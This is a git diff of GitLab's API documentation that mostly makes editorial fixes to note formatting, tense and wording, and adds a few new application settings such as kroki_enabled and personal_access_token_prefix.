diff --git a/doc/api/resource_label_events.md b/doc/api/resource_label_events.md
index b088c06b342..6b682eac29c 100644
--- a/doc/api/resource_label_events.md
+++ b/doc/api/resource_label_events.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Resource label events API
diff --git a/doc/api/resource_milestone_events.md b/doc/api/resource_milestone_events.md
index 146f67527b7..df51584a4ed 100644
--- a/doc/api/resource_milestone_events.md
+++ b/doc/api/resource_milestone_events.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Resource milestone events API
diff --git a/doc/api/resource_state_events.md b/doc/api/resource_state_events.md
index f93e0408300..e81b7ddd272 100644
--- a/doc/api/resource_state_events.md
+++ b/doc/api/resource_state_events.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Resource state events API
diff --git a/doc/api/resource_weight_events.md b/doc/api/resource_weight_events.md
index 028878874d2..44c20c5bca8 100644
--- a/doc/api/resource_weight_events.md
+++ b/doc/api/resource_weight_events.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Resource weight events API
diff --git a/doc/api/runners.md b/doc/api/runners.md
index 16ecdebcd4f..131418de725 100644
--- a/doc/api/runners.md
+++ b/doc/api/runners.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Runners API
@@ -168,7 +168,7 @@ GET /runners/:id
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6"
```
-NOTE: **Note:**
+NOTE:
The `token` attribute in the response was deprecated [in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/214320).
and removed in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/214322).
@@ -224,13 +224,13 @@ PUT /runners/:id
| `run_untagged`| boolean | no | Flag indicating the runner can execute untagged jobs |
| `locked` | boolean | no | Flag indicating the runner is locked |
| `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` |
-| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job |
+| `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
```
-NOTE: **Note:**
+NOTE:
The `token` attribute in the response was deprecated [in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/214320).
and removed in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/214322).
@@ -559,7 +559,7 @@ POST /runners
| `run_untagged` | boolean | no | Whether the runner should handle untagged jobs |
| `tag_list` | string array | no | List of runner's tags |
| `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` |
-| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job |
+| `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job |
```shell
curl --request POST "https://gitlab.example.com/api/v4/runners" --form "token=<registration_token>" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
diff --git a/doc/api/scim.md b/doc/api/scim.md
index 653d56f3e06..a9622525478 100644
--- a/doc/api/scim.md
+++ b/doc/api/scim.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SCIM API (SYSTEM ONLY) **(SILVER ONLY)**
@@ -33,13 +33,13 @@ Parameters:
| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one will be interpreted as 1. |
| `count` | integer | no | Desired maximum number of query results. |
-NOTE: **Note:**
+NOTE:
Pagination follows the [SCIM spec](https://tools.ietf.org/html/rfc7644#section-3.4.2.4) rather than GitLab pagination as used elsewhere. If records change between requests it is possible for a page to either be missing records that have moved to a different page or repeat records from a previous request.
Example request:
```shell
-curl 'https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20"0b1d561c-21ff-4092-beab-8154b17f82f2"' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
```
Example response:
diff --git a/doc/api/search.md b/doc/api/search.md
index 8de93ce0d32..bfa5eb576dc 100644
--- a/doc/api/search.md
+++ b/doc/api/search.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -129,7 +129,8 @@ Example response:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE:
+`assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
### Scope: merge_requests
@@ -291,8 +292,8 @@ Example response:
]
```
-NOTE: **Note:**
-`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
+NOTE:
+`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
### Scope: commits **(STARTER)**
@@ -363,7 +364,7 @@ Example response:
]
```
-NOTE: **Note:**
+NOTE:
`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
### Scope: notes **(STARTER)**
@@ -541,7 +542,8 @@ Example response:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE:
+`assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
### Scope: merge_requests
@@ -672,8 +674,8 @@ Example response:
]
```
-NOTE **Note:**
-`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
+NOTE:
+`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
### Scope: commits **(STARTER)**
@@ -744,7 +746,7 @@ Example response:
]
```
-NOTE **Note:**
+NOTE:
`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
### Scope: notes **(STARTER)**
@@ -890,7 +892,8 @@ Example response:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE:
+`assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
### Scope: merge_requests
@@ -1068,8 +1071,8 @@ Example response:
]
```
-NOTE: **Note:**
-`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
+NOTE:
+`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
### Scope: commits
@@ -1142,8 +1145,8 @@ Example response:
]
```
-NOTE: **Note:**
-`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
+NOTE:
+`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521).
### Scope: users
diff --git a/doc/api/services.md b/doc/api/services.md
index a60eacef1d8..68485d23557 100644
--- a/doc/api/services.md
+++ b/doc/api/services.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Services API
-NOTE: **Note:**
+NOTE:
This API requires an access token with Maintainer or Owner permissions
## List all active services
@@ -74,7 +74,7 @@ Asana - Teamwork without email
Set Asana service for a project.
-> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found will get the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>.
+> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found gets the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>.
```plaintext
PUT /projects/:id/services/asana
@@ -84,8 +84,8 @@ Parameters:
| Parameter | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `api_key` | string | true | User API token. User must have access to task, all comments will be attributed to this user. |
-| `restrict_to_branch` | string | false | Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches. |
+| `api_key` | string | true | User API token. User must have access to task, all comments are attributed to this user. |
+| `restrict_to_branch` | string | false | Comma-separated list of branches which are automatically inspected. Leave blank to include all branches. |
| `push_events` | boolean | false | Enable notifications for push events |
### Delete Asana service
@@ -237,7 +237,7 @@ Parameters:
| --------- | ---- | -------- | ----------- |
| `token` | string | true | Buildkite project GitLab token |
| `project_url` | string | true | Pipeline URL. For example, `https://buildkite.com/example/pipeline` |
-| `enable_ssl_verification` | boolean | false | DEPRECATED: This parameter has no effect since SSL verification will always be enabled |
+| `enable_ssl_verification` | boolean | false | DEPRECATED: This parameter has no effect since SSL verification is always enabled |
| `push_events` | boolean | false | Enable notifications for push events |
### Delete Buildkite service
@@ -482,7 +482,7 @@ Parameters:
| `send_from_committer_email` | boolean | false | Send from committer |
| `push_events` | boolean | false | Enable notifications for push events |
| `tag_push_events` | boolean | false | Enable notifications for tag push events |
-| `branches_to_be_notified` | string | false | Branches to send notifications for. Valid options are "all", "default", "protected", and "default_and_protected". Notifications will be always fired for tag pushes. The default value is "all" |
+| `branches_to_be_notified` | string | false | Branches to send notifications for. Valid options are "all", "default", "protected", and "default_and_protected". Notifications are always fired for tag pushes. The default value is "all" |
### Delete Emails on push service
@@ -655,7 +655,7 @@ Set Hangouts Chat service for a project.
PUT /projects/:id/services/hangouts-chat
```
-NOTE: **Note:**
+NOTE:
Specific event parameters (for example, `push_events` flag) were [introduced in v10.4](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11435)
Parameters:
@@ -747,7 +747,8 @@ Send IRC messages, on update, to a list of recipients through an Irker gateway.
Set Irker (IRC gateway) service for a project.
-> NOTE: Irker does NOT have built-in authentication, which makes it vulnerable to spamming IRC channels if it is hosted outside of a firewall. Please make sure you run the daemon within a secured network to prevent abuse. For more details, read: <http://www.catb.org/~esr/irker/security.html>.
+NOTE:
+Irker does NOT have built-in authentication, which makes it vulnerable to spamming IRC channels if it is hosted outside of a firewall. Please make sure you run the daemon within a secured network to prevent abuse. For more details, read: <http://www.catb.org/~esr/irker/security.html>.
```plaintext
PUT /projects/:id/services/irker
@@ -809,7 +810,7 @@ Parameters:
| Parameter | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `url` | string | yes | The URL to the Jira project which is being linked to this GitLab project. For example, `https://jira.example.com`. |
-| `api_url` | string | no | The base URL to the Jira instance API. Web URL value will be used if not set. For example, `https://jira-api.example.com`. |
+| `api_url` | string | no | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. |
| `username` | string | yes | The username of the user created to be used with GitLab/Jira. |
| `password` | string | yes | The password of the user created to be used with GitLab/Jira. |
| `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). |
@@ -1015,7 +1016,7 @@ Parameters:
| Parameter | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `token` | string | true | The PivotalTracker token |
-| `restrict_to_branch` | boolean | false | Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches. |
+| `restrict_to_branch` | boolean | false | Comma-separated list of branches to automatically inspect. Leave blank to include all branches. |
| `push_events` | boolean | false | Enable notifications for push events |
### Delete PivotalTracker service
@@ -1159,7 +1160,7 @@ Set Slack service for a project.
PUT /projects/:id/services/slack
```
-NOTE: **Note:**
+NOTE:
Specific event parameters (for example, `push_events` flag and `push_channel`) were [introduced in v10.4](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11435)
Parameters:
@@ -1269,7 +1270,7 @@ Set Mattermost service for a project.
PUT /projects/:id/services/mattermost
```
-NOTE: **Note:**
+NOTE:
Specific event parameters (for example, `push_events` flag and `push_channel`) were [introduced in v10.4](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11435)
Parameters:
@@ -1325,7 +1326,7 @@ A continuous integration and build server
Set JetBrains TeamCity CI service for a project.
-> The build configuration in TeamCity must use the build format number `%build.vcs.number%` you will also want to configure monitoring of all branches so merge requests build, that setting is in the VSC root advanced settings.
+> The build configuration in TeamCity must use the build format number `%build.vcs.number%`. Configure monitoring of all branches so merge requests build. That setting is in the VSC root advanced settings.
```plaintext
PUT /projects/:id/services/teamcity
@@ -1396,7 +1397,7 @@ GET /projects/:id/services/jenkins
A continuous integration and build server
-NOTE: **Note:**
+NOTE:
This service was [removed in v13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/1600)
### Create/Edit Jenkins CI (Deprecated) service
@@ -1411,7 +1412,7 @@ Parameters:
- `project_url` (**required**) - Jenkins project URL like `http://jenkins.example.com/job/my-project/`
- `multiproject_enabled` (optional) - Multi-project mode is configured in Jenkins GitLab Hook plugin
-- `pass_unstable` (optional) - Unstable builds will be treated as passing
+- `pass_unstable` (optional) - Unstable builds are treated as passing
### Delete Jenkins CI (Deprecated) service
diff --git a/doc/api/settings.md b/doc/api/settings.md
index 5b04ee9d368..5680687e87e 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Application settings API **(CORE ONLY)**
@@ -28,59 +28,62 @@ Example response:
```json
{
- "default_projects_limit" : 100000,
- "signup_enabled" : true,
- "id" : 1,
- "default_branch_protection" : 2,
- "restricted_visibility_levels" : [],
- "password_authentication_enabled_for_web" : true,
- "after_sign_out_path" : null,
- "max_attachment_size" : 10,
- "max_import_size": 50,
- "user_oauth_applications" : true,
- "updated_at" : "2016-01-04T15:44:55.176Z",
- "session_expire_delay" : 10080,
- "home_page_url" : null,
- "default_snippet_visibility" : "private",
- "outbound_local_requests_whitelist": [],
- "domain_allowlist" : [],
- "domain_denylist_enabled" : false,
- "domain_denylist" : [],
- "created_at" : "2016-01-04T15:44:55.176Z",
- "default_ci_config_path" : null,
- "default_project_visibility" : "private",
- "default_group_visibility" : "private",
- "gravatar_enabled" : true,
- "sign_in_text" : null,
- "container_expiration_policies_enable_historic_entries": true,
- "container_registry_token_expire_delay": 5,
- "repository_storages_weighted": {"default": 100},
- "plantuml_enabled": false,
- "plantuml_url": null,
- "terminal_max_session_time": 0,
- "polling_interval_multiplier": 1.0,
- "rsa_key_restriction": 0,
- "dsa_key_restriction": 0,
- "ecdsa_key_restriction": 0,
- "ed25519_key_restriction": 0,
- "first_day_of_week": 0,
- "enforce_terms": true,
- "terms": "Hello world!",
- "performance_bar_allowed_group_id": 42,
- "user_show_add_ssh_key_message": true,
- "local_markdown_version": 0,
- "allow_local_requests_from_hooks_and_services": true,
- "allow_local_requests_from_web_hooks_and_services": true,
- "allow_local_requests_from_system_hooks": false,
- "asset_proxy_enabled": true,
- "asset_proxy_url": "https://assets.example.com",
- "asset_proxy_whitelist": ["example.com", "*.example.com", "your-instance.com"],
- "npm_package_requests_forwarding": true,
- "snippet_size_limit": 52428800,
- "issues_create_limit": 300,
- "raw_blob_request_limit": 300,
- "wiki_page_max_content_bytes": 52428800,
- "require_admin_approval_after_user_signup": false
+ "default_projects_limit" : 100000,
+ "signup_enabled" : true,
+ "id" : 1,
+ "default_branch_protection" : 2,
+ "restricted_visibility_levels" : [],
+ "password_authentication_enabled_for_web" : true,
+ "after_sign_out_path" : null,
+ "max_attachment_size" : 10,
+ "max_import_size": 50,
+ "user_oauth_applications" : true,
+ "updated_at" : "2016-01-04T15:44:55.176Z",
+ "session_expire_delay" : 10080,
+ "home_page_url" : null,
+ "default_snippet_visibility" : "private",
+ "outbound_local_requests_whitelist": [],
+ "domain_allowlist" : [],
+ "domain_denylist_enabled" : false,
+ "domain_denylist" : [],
+ "created_at" : "2016-01-04T15:44:55.176Z",
+ "default_ci_config_path" : null,
+ "default_project_visibility" : "private",
+ "default_group_visibility" : "private",
+ "gravatar_enabled" : true,
+ "sign_in_text" : null,
+ "container_expiration_policies_enable_historic_entries": true,
+ "container_registry_token_expire_delay": 5,
+ "repository_storages_weighted": {"default": 100},
+ "plantuml_enabled": false,
+ "plantuml_url": null,
+ "kroki_enabled": false,
+ "kroki_url": null,
+ "terminal_max_session_time": 0,
+ "polling_interval_multiplier": 1.0,
+ "rsa_key_restriction": 0,
+ "dsa_key_restriction": 0,
+ "ecdsa_key_restriction": 0,
+ "ed25519_key_restriction": 0,
+ "first_day_of_week": 0,
+ "enforce_terms": true,
+ "terms": "Hello world!",
+ "performance_bar_allowed_group_id": 42,
+ "user_show_add_ssh_key_message": true,
+ "local_markdown_version": 0,
+ "allow_local_requests_from_hooks_and_services": true,
+ "allow_local_requests_from_web_hooks_and_services": true,
+ "allow_local_requests_from_system_hooks": false,
+ "asset_proxy_enabled": true,
+ "asset_proxy_url": "https://assets.example.com",
+ "asset_proxy_whitelist": ["example.com", "*.example.com", "your-instance.com"],
+ "npm_package_requests_forwarding": true,
+ "snippet_size_limit": 52428800,
+ "issues_create_limit": 300,
+ "raw_blob_request_limit": 300,
+ "wiki_page_max_content_bytes": 52428800,
+ "require_admin_approval_after_user_signup": false,
+ "personal_access_token_prefix": "GL-"
}
```
@@ -89,12 +92,12 @@ the `file_template_project_id`, `deletion_adjourned_period`, or the `geo_node_al
```json
{
- "id" : 1,
- "signup_enabled" : true,
- "file_template_project_id": 1,
- "geo_node_allowed_ips": "0.0.0.0/0, ::/0",
- "deletion_adjourned_period": 7,
- ...
+ "id" : 1,
+ "signup_enabled" : true,
+ "file_template_project_id": 1,
+ "geo_node_allowed_ips": "0.0.0.0/0, ::/0",
+ "deletion_adjourned_period": 7,
+ ...
}
```
@@ -172,7 +175,8 @@ Example response:
"issues_create_limit": 300,
"raw_blob_request_limit": 300,
"wiki_page_max_content_bytes": 52428800,
- "require_admin_approval_after_user_signup": false
+ "require_admin_approval_after_user_signup": false,
+ "personal_access_token_prefix": "GL-"
}
```
@@ -209,16 +213,16 @@ listed in the descriptions of the relevant settings.
| `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. |
| `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. |
| `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. |
-| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs will be considered as old and expired. Once that time passes, the jobs will be archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. |
+| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs are considered as old and expired. After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. |
| `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. |
| `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. |
| `asset_proxy_url` | string | no | URL of the asset proxy server. GitLab restart is required to apply changes. |
-| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) will NOT be proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. GitLab restart is required to apply changes. |
+| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) are **not** proxied. Wildcards allowed. Your GitLab installation URL is automatically allowlisted. GitLab restart is required to apply changes. |
| `authorized_keys_enabled` | boolean | no | By default, we write to the `authorized_keys` file to support Git over SSH without additional configuration. GitLab can be optimized to authenticate SSH keys via the database file. Only disable this if you have configured your OpenSSH server to use the AuthorizedKeysCommand. |
| `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. |
-| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It will automatically build, test, and deploy applications based on a predefined CI/CD configuration. |
+| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. |
| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage within a namespace. |
-| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this will make only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
+| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
| `commit_email_hostname` | string | no | Custom hostname (for private commit emails). |
| `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. |
| `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. |
@@ -231,10 +235,11 @@ listed in the descriptions of the relevant settings.
| `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `deletion_adjourned_period` | integer | no | **(PREMIUM ONLY)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90.
| `diff_max_patch_bytes` | integer | no | Maximum diff patch size (Bytes). |
+| `disable_feed_token` | boolean | no | Disable display of RSS/Atom and calendar feed tokens ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231493) in GitLab 13.7) |
| `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. |
| `dns_rebinding_protection_enabled` | boolean | no | Enforce DNS rebinding attack protection. |
| `domain_denylist_enabled` | boolean | no | (**If enabled, requires:** `domain_denylist`) Allows blocking sign-ups from emails from specific domains. |
-| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. |
+| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) **cannot** sign up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. |
| `domain_allowlist` | array of strings | no | Force people to use only corporate emails for sign-up. Default is `null`, meaning there is no restriction. |
| `dsa_key_restriction` | integer | no | The minimum allowed bit length of an uploaded DSA key. Default is `0` (no restriction). `-1` disables DSA keys. |
| `ecdsa_key_restriction` | integer | no | The minimum allowed curve size (in bits) of an uploaded ECDSA key. Default is `0` (no restriction). `-1` disables ECDSA keys. |
@@ -247,8 +252,8 @@ listed in the descriptions of the relevant settings.
| `elasticsearch_aws_region` | string | no | **(PREMIUM)** The AWS region the Elasticsearch domain is configured |
| `elasticsearch_aws_secret_access_key` | string | no | **(PREMIUM)** AWS IAM secret access key |
| `elasticsearch_aws` | boolean | no | **(PREMIUM)** Enable the use of AWS hosted Elasticsearch |
-| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields that will be indexed by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. |
-| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that will be indexed by Elasticsearch. |
+| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields to index by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. |
+| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that are indexed by Elasticsearch. |
| `elasticsearch_indexing` | boolean | no | **(PREMIUM)** Enable Elasticsearch indexing |
| `elasticsearch_limit_indexing` | boolean | no | **(PREMIUM)** Limit Elasticsearch to index certain namespaces and projects |
| `elasticsearch_max_bulk_concurrency` | integer | no | **(PREMIUM)** Maximum concurrency of Elasticsearch bulk requests per indexing operation. This only applies to repository indexing operations. |
@@ -272,14 +277,14 @@ listed in the descriptions of the relevant settings.
| `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from |
| `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. |
| `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. |
-| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status will time out. |
+| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status times out. |
| `gitaly_timeout_default` | integer | no | Default Gitaly timeout, in seconds. This timeout is not enforced for Git fetch/push operations or Sidekiq jobs. Set to `0` to disable timeouts. |
| `gitaly_timeout_fast` | integer | no | Gitaly fast operation timeout, in seconds. Some Gitaly operations are expected to be fast. If they exceed this threshold, there may be a problem with a storage shard and 'failing fast' can help maintain the stability of the GitLab instance. Set to `0` to disable timeouts. |
| `gitaly_timeout_medium` | integer | no | Medium Gitaly timeout, in seconds. This should be a value between the Fast and the Default timeout. Set to `0` to disable timeouts. |
| `grafana_enabled` | boolean | no | Enable Grafana. |
| `grafana_url` | string | no | Grafana URL. |
| `gravatar_enabled` | boolean | no | Enable Gravatar. |
-| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration will be removed in 14.0) |
+| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration is scheduled for removal in 14.0) |
| `help_page_hide_commercial_content` | boolean | no | Hide marketing-related entries from help. |
| `help_page_support_url` | string | no | Alternate support URL for help page and help dropdown. |
| `help_page_text` | string | no | Custom text displayed on the help page. |
@@ -292,7 +297,7 @@ listed in the descriptions of the relevant settings.
| `housekeeping_gc_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which `git gc` is run. |
| `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. |
| `html_emails_enabled` | boolean | no | Enable HTML emails. |
-| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `google_code`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. |
+| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. |
| `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.|
| `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. |
